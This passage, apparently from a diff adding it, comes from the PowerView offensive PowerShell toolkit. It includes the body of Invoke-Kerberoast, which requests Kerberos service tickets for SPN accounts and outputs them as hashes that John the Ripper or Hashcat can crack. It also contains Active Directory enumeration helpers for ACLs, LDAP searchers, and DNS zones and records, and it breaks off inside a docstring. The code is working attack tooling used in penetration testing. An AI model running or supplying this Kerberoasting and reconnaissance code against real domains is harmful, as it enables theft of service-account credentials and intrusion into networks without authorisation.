+.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Invoke-Kerberoast | fl + +Kerberoasts all found SPNs for the current domain. + +.EXAMPLE + +Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl + +Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat +format instead of John (the default). + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce +$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) +Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl + +Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.SPNTicket')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'John', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $UserSearcherArguments = @{ + 'SPN' = $True + 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' + } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } + Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-PathAcl { +<# +.SYNOPSIS + +Enumerates the ACL for a given file path. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID + +.DESCRIPTION + +Enumerates the ACL for a specified file/folder path, and translates +the access rules for each entry into readable formats. If -Credential is passed, +Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. + +.PARAMETER Path + +Specifies the local or remote path to enumerate the ACLs for. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target path. + +.EXAMPLE + +Get-PathAcl "\\SERVER\Share\" + +Returns ACLs for the given UNC share. + +.EXAMPLE + +gci .\test.txt | Get-PathAcl + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred + +.INPUTS + +String + +One of more paths to enumerate ACLs for. + +.OUTPUTS + +PowerView.FileACL + +A custom object with the full path and associated ACL entries. + +.LINK + +https://support.microsoft.com/en-us/kb/305144 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FileACL')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('FullName')] + [String[]] + $Path, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + + function Convert-FileRight { + # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + [CmdletBinding()] + Param( + [Int] + $FSR + ) + + $AccessMask = @{ + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' + } + + $SimplePermissions = @{ + [uint32]'0x1f01ff' = 'FullControl' + [uint32]'0x0301bf' = 'Modify' + [uint32]'0x0200a9' = 'ReadAndExecute' + [uint32]'0x02019f' = 'ReadAndWrite' + [uint32]'0x020089' = 'Read' + [uint32]'0x000116' = 'Write' + } + + $Permissions = @() + + # get simple permission + $Permissions += $SimplePermissions.Keys | ForEach-Object { + if (($FSR -band $_) -eq $_) { + $SimplePermissions[$_] + $FSR = $FSR -band (-not $_) + } + } + + # get remaining extended permissions + $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] } + ($Permissions | Where-Object {$_}) -join ',' + } + + $ConvertArguments = @{} + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + + $MappedComputers = @{} + } + + PROCESS { + ForEach ($TargetPath in $Path) { + try { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + $ACL = Get-Acl -Path $TargetPath + + $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object { + $SID = $_.IdentityReference.Value + $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Path' $TargetPath + $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) + $Out | Add-Member Noteproperty 'IdentityReference' $Name + $Out | Add-Member Noteproperty 'IdentitySID' $SID + $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType + $Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL') + $Out + } + } + catch { + Write-Verbose "[Get-PathAcl] error: $_" + } + } + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } +} + + +function Convert-LDAPProperty { +<# +.SYNOPSIS + +Helper that converts specific LDAP property result fields and outputs +a custom psobject. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Converts a set of raw LDAP properties results from ADSI/LDAP searches +into a proper PSObject. Used by several of the Get-Domain* function. + +.PARAMETER Properties + +Properties object to extract out LDAP fields for display. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject with LDAP hashtable properties translated. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + $Properties + ) + + $ObjectProperties = @{} + + $Properties.PropertyNames | ForEach-Object { + if ($_ -ne 'adspath') { + if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { + # convert all listed sids (i.e. if multiple are listed in sidHistory) + $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } + } + elseif ($_ -eq 'grouptype') { + $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum + } + elseif ($_ -eq 'samaccounttype') { + $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum + } + elseif ($_ -eq 'objectguid') { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif ($_ -eq 'useraccountcontrol') { + $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum + } + elseif ($_ -eq 'ntsecuritydescriptor') { + # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + if ($Descriptor.Owner) { + $ObjectProperties['Owner'] = $Descriptor.Owner + } + if ($Descriptor.Group) { + $ObjectProperties['Group'] = $Descriptor.Group + } + if ($Descriptor.DiscretionaryAcl) { + $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl + } + if ($Descriptor.SystemAcl) { + $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl + } + } + elseif ($_ -eq 'accountexpires') { + if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { + $ObjectProperties[$_] = "NEVER" + } + else { + $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) + } + } + elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + # otherwise just a string + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } + } + elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # try to convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + Write-Verbose "[Convert-LDAPProperty] error: $_" + $ObjectProperties[$_] = $Prop[$_] + } + } + elseif ($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] + } + } + } + try { + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" + } +} + + +######################################################## +# +# Domain info functions below. +# +######################################################## + +function Get-DomainSearcher { +<# +.SYNOPSIS + +Helper used by various functions that builds a custom AD searcher object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain + +.DESCRIPTION + +Takes a given domain and a number of customizations and returns a +System.DirectoryServices.DirectorySearcher object. This function is used +heavily by other LDAP/ADSI searcher functions (Verb-Domain*). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER SearchBasePrefix + +Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainSearcher -Domain testlab.local + +Return a searcher for all objects in testlab.local. + +.EXAMPLE + +Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' + +Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. + +.EXAMPLE + +Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" + +Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). + +.OUTPUTS + +System.DirectoryServices.DirectorySearcher +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.DirectorySearcher')] + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [String] + $SearchBasePrefix, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit = 120, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Domain']) { + $TargetDomain = $Domain + } + else { + # if not -Domain is specified, retrieve the current domain name + if ($PSBoundParameters['Credential']) { + $DomainObject = Get-Domain -Credential $Credential + } + else { + $DomainObject = Get-Domain + } + $TargetDomain = $DomainObject.Name + } + + if (-not $PSBoundParameters['Server']) { + # if there's not a specified server to bind to, try to pull the current domain PDC + try { + if ($DomainObject) { + $BindServer = $DomainObject.PdcRoleOwner.Name + } + elseif ($PSBoundParameters['Credential']) { + $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name + } + else { + $BindServer = ((Get-Domain).PdcRoleOwner).Name + } + } + catch { + throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_" + } + } + else { + $BindServer = $Server + } + + $SearchString = 'LDAP://' + + if ($BindServer -and ($BindServer.Trim() -ne '')) { + $SearchString += $BindServer + if ($TargetDomain) { + $SearchString += '/' + } + } + + if ($PSBoundParameters['SearchBasePrefix']) { + $SearchString += $SearchBasePrefix + ',' + } + + if ($PSBoundParameters['SearchBase']) { + if ($SearchBase -Match '^GC://') { + # if we're searching the global catalog, get the path in the right format + $DN = $SearchBase.ToUpper().Trim('/') + $SearchString = '' + } + else { + if ($SearchBase -match '^LDAP://') { + if ($SearchBase -match "LDAP://.+/.+") { + $SearchString = '' + $DN = $SearchBase + } + else { + $DN = $SearchBase.SubString(7) + } + } + else { + $DN = $SearchBase + } + } + } + else { + # transform the target domain name into a distinguishedName if an ADS search base is not specified + if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { + $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" + } + } + + $SearchString += $DN + Write-Verbose "[Get-DomainSearcher] search string: $SearchString" + + if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" + # bind to the inital search object using alternate credentials + $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) + } + else { + # bind to the inital object using the current credentials + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + } + + $Searcher.PageSize = $ResultPageSize + $Searcher.SearchScope = $SearchScope + $Searcher.CacheResults = $False + $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All + + if ($PSBoundParameters['ServerTimeLimit']) { + $Searcher.ServerTimeLimit = $ServerTimeLimit + } + + if ($PSBoundParameters['Tombstone']) { + $Searcher.Tombstone = $True + } + + if ($PSBoundParameters['LDAPFilter']) { + $Searcher.filter = $LDAPFilter + } + + if ($PSBoundParameters['SecurityMasks']) { + $Searcher.SecurityMasks = Switch ($SecurityMasks) { + 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } + 'Group' { [System.DirectoryServices.SecurityMasks]::Group } + 'None' { [System.DirectoryServices.SecurityMasks]::None } + 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } + 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } + } + } + + if ($PSBoundParameters['Properties']) { + # handle an array of properties to load w/ the possibility of comma-separated strings + $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } + $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) + } + + $Searcher + } +} + + +function Convert-DNSRecord { +<# +.SYNOPSIS + +Helpers that decodes a binary DNS record blob. + +Author: Michael B. Smith, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Decodes a binary blob representing an Active Directory DNS entry. +Used by Get-DomainDNSRecord. + +Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 + +.PARAMETER DNSRecord + +A byte array representing the DNS record. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +Outputs custom PSObjects with detailed information about the DNS record entry. + +.LINK + +https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 +#> + + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Byte[]] + $DNSRecord + ) + + BEGIN { + function Get-Name { + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')] + [CmdletBinding()] + Param( + [Byte[]] + $Raw + ) + + [Int]$Length = $Raw[0] + [Int]$Segments = $Raw[1] + [Int]$Index = 2 + [String]$Name = '' + + while ($Segments-- -gt 0) + { + [Int]$SegmentLength = $Raw[$Index++] + while ($SegmentLength-- -gt 0) { + $Name += [Char]$Raw[$Index++] + } + $Name += "." + } + $Name + } + } + + PROCESS { + # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) + $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) + $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) + + $TTLRaw = $DNSRecord[12..15] + + # reverse for big endian + $Null = [array]::Reverse($TTLRaw) + $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) + + $Age = [BitConverter]::ToUInt32($DNSRecord, 20) + if ($Age -ne 0) { + $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() + } + else { + $TimeStamp = '[static]' + } + + $DNSRecordObject = New-Object PSObject + + if ($RDataType -eq 1) { + $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] + $Data = $IP + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' + } + + elseif ($RDataType -eq 2) { + $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $NSName + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' + } + + elseif ($RDataType -eq 5) { + $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Alias + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' + } + + elseif ($RDataType -eq 6) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' + } + + elseif ($RDataType -eq 12) { + $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Ptr + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' + } + + elseif ($RDataType -eq 13) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' + } + + elseif ($RDataType -eq 15) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' + } + + elseif ($RDataType -eq 16) { + [string]$TXT = '' + [int]$SegmentLength = $DNSRecord[24] + $Index = 25 + + while ($SegmentLength-- -gt 0) { + $TXT += [char]$DNSRecord[$index++] + } + + $Data = $TXT + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' + } + + elseif ($RDataType -eq 28) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' + } + + elseif ($RDataType -eq 33) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' + } + + else { + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' + } + + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $Data + $DNSRecordObject + } +} + + +function Get-DomainDNSZone { +<# +.SYNOPSIS + +Enumerates the Active Directory DNS zones for a given domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.PARAMETER Domain + +The domain to query for zones, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDNSZone + +Retrieves the DNS zones for the current domain. + +.EXAMPLE + +Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local + +Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local. + +.OUTPUTS + +PowerView.DNSZone + +Outputs custom PSObjects with detailed information about the DNS zone. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DNSZone')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $SearcherArguments = @{ + 'LDAPFilter' = '(objectClass=dnsZone)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $DNSSearcher1 = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher1) { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() } + else { $Results = $DNSSearcher1.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member NoteProperty 'ZoneName' $Out.name + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') + $Out + } + + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" + } + } + $DNSSearcher1.dispose() + } + + $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones' + $DNSSearcher2 = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher2) { + try { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() } + else { $Results = $DNSSearcher2.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member NoteProperty 'ZoneName' $Out.name + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') + $Out + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_" + } + } + } + catch { + Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'" + } + $DNSSearcher2.dispose() + } + } +} + + +function Get-DomainDNSRecord { +<# +.SYNOPSIS + +Enumerates the Active Directory DNS records for a given zone. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord + +.DESCRIPTION + +Given a specific Active Directory DNS zone name, query for all 'dnsNode' +LDAP entries using that zone as the search base. Return all DNS entry results +and use Convert-DNSRecord to try to convert the binary DNS record blobs. + +.PARAMETER ZoneName + +Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone). + +.PARAMETER Domain + +The domain to query for zones, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDNSRecord -ZoneName testlab.local + +Retrieve all records for the testlab.local zone. + +.EXAMPLE + +Get-DomainDNSZone | Get-DomainDNSRecord + +Retrieve all records for all zones in the current domain. + +.EXAMPLE + +Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local + +Retrieve all records for all zones in the dev.testlab.local domain. + +.OUTPUTS + +PowerView.DNSRecord + +Outputs custom PSObjects with detailed information 